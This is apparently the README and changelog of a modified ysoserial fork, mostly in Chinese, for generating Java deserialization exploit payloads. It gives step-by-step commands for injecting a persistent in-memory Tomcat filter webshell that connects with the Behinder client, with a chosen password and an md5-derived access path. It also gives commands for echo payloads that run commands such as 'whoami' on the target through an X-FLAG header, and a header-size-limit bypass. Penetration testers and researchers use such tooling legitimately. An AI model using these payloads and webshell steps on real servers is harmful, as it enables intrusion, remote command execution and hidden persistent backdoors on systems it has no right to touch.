新改动

2021.4.23

  1. 由于冰蝎的更新,不再需要behinder-clone,使用Behinder_v3.0 Beta 10可以直接进行连接
  2. fix shellInject bug

    2021.4.22

  3. 优化了内存webshell的逻辑,注入后的webshell访问路径和密码有关,为/md5(pass)[0:16],如密码为pass,则路径为/1a1dc91c907325c6,之前内存马注册路径存在bug,导致没有注册到第一filter
  4. 更新了CommonsBeanutils1,参考CommonsBeanutils与无commons-collections的Shiro反序列化利用
  5. 更新了Echo2系列的payload,使用X-FLAG头来执行命令,例如需要执行ls 则headers={"tomcat": "tomcat","X-FLAG: ls"}
  6. 删除了header系列

    添加了Tomcat8+支持冰蝎的内存webshell的注入，仅供测试使用 支持的链：

    • CommonsBeanutils1(CommonsBeanutils1TomcatShell,CommonsBeanutils1ShellInject)
    • CommonsCollections2(CommonsCollections2ShellInject,CommonsCollections2TomcatShell)
    • CommonsCollections3(CommonsCollections3ShellInject,CommonsCollections3TomcatShell)
    • CommonsCollections4(CommonsCollections4ShellInject,CommonsCollections4TomcatShell)
    • ROME(ROMEShellInject,ROMETomcatShell)

用法：

  1. 注入需要利用的Filter,pass为内存webshell连接的密码 
    java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1TomcatShell "pass"
  2. 将Filter注册到应用中 
    java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1ShellInject "pass"
  3. 使用修改过的冰蝎进行连接，（需要填写自定义请求头为tomcat: tomcat)

添加了Tomcat回显的方式 Tomcat 7.x 目前不行新增对于Tomcat8.0.x低版本的适配（未测试所有版本，有版本测试未成功可以联系）， 优化了payload的大小，不用再进行改变限制header大小的操作了

新添的链

编译时直接跳过tests

mvn package -DskipTests

生成回显payload，打回显的payload时记得要在request添加上 tomcat: tomcat

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2TomcatEcho2 "whoami"

改变tomcat header限制，注意使用对应gadget对应的payload，目前更新已不再需要多线程发包了，打一次即可

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar  CommonsBeanutils1TomcatHeader 16000

A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

Description

Originally released as part of AppSecCali 2015 Talk "Marshalling Pickles: how deserializing objects will ruin your day" with gadget chains for Apache Commons Collections (3.x and 4.x), Spring Beans/Core (4.x), and Groovy (2.3.x). Later updated to include additional gadget chains for JRE <= 1.7u21 and several other libraries.

ysoserial is a collection of utilities and property-oriented programming "gadget chains" discovered in common java libraries that can, under the right conditions, exploit Java applications performing unsafe deserialization of objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host.

It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having gadgets on the classpath.
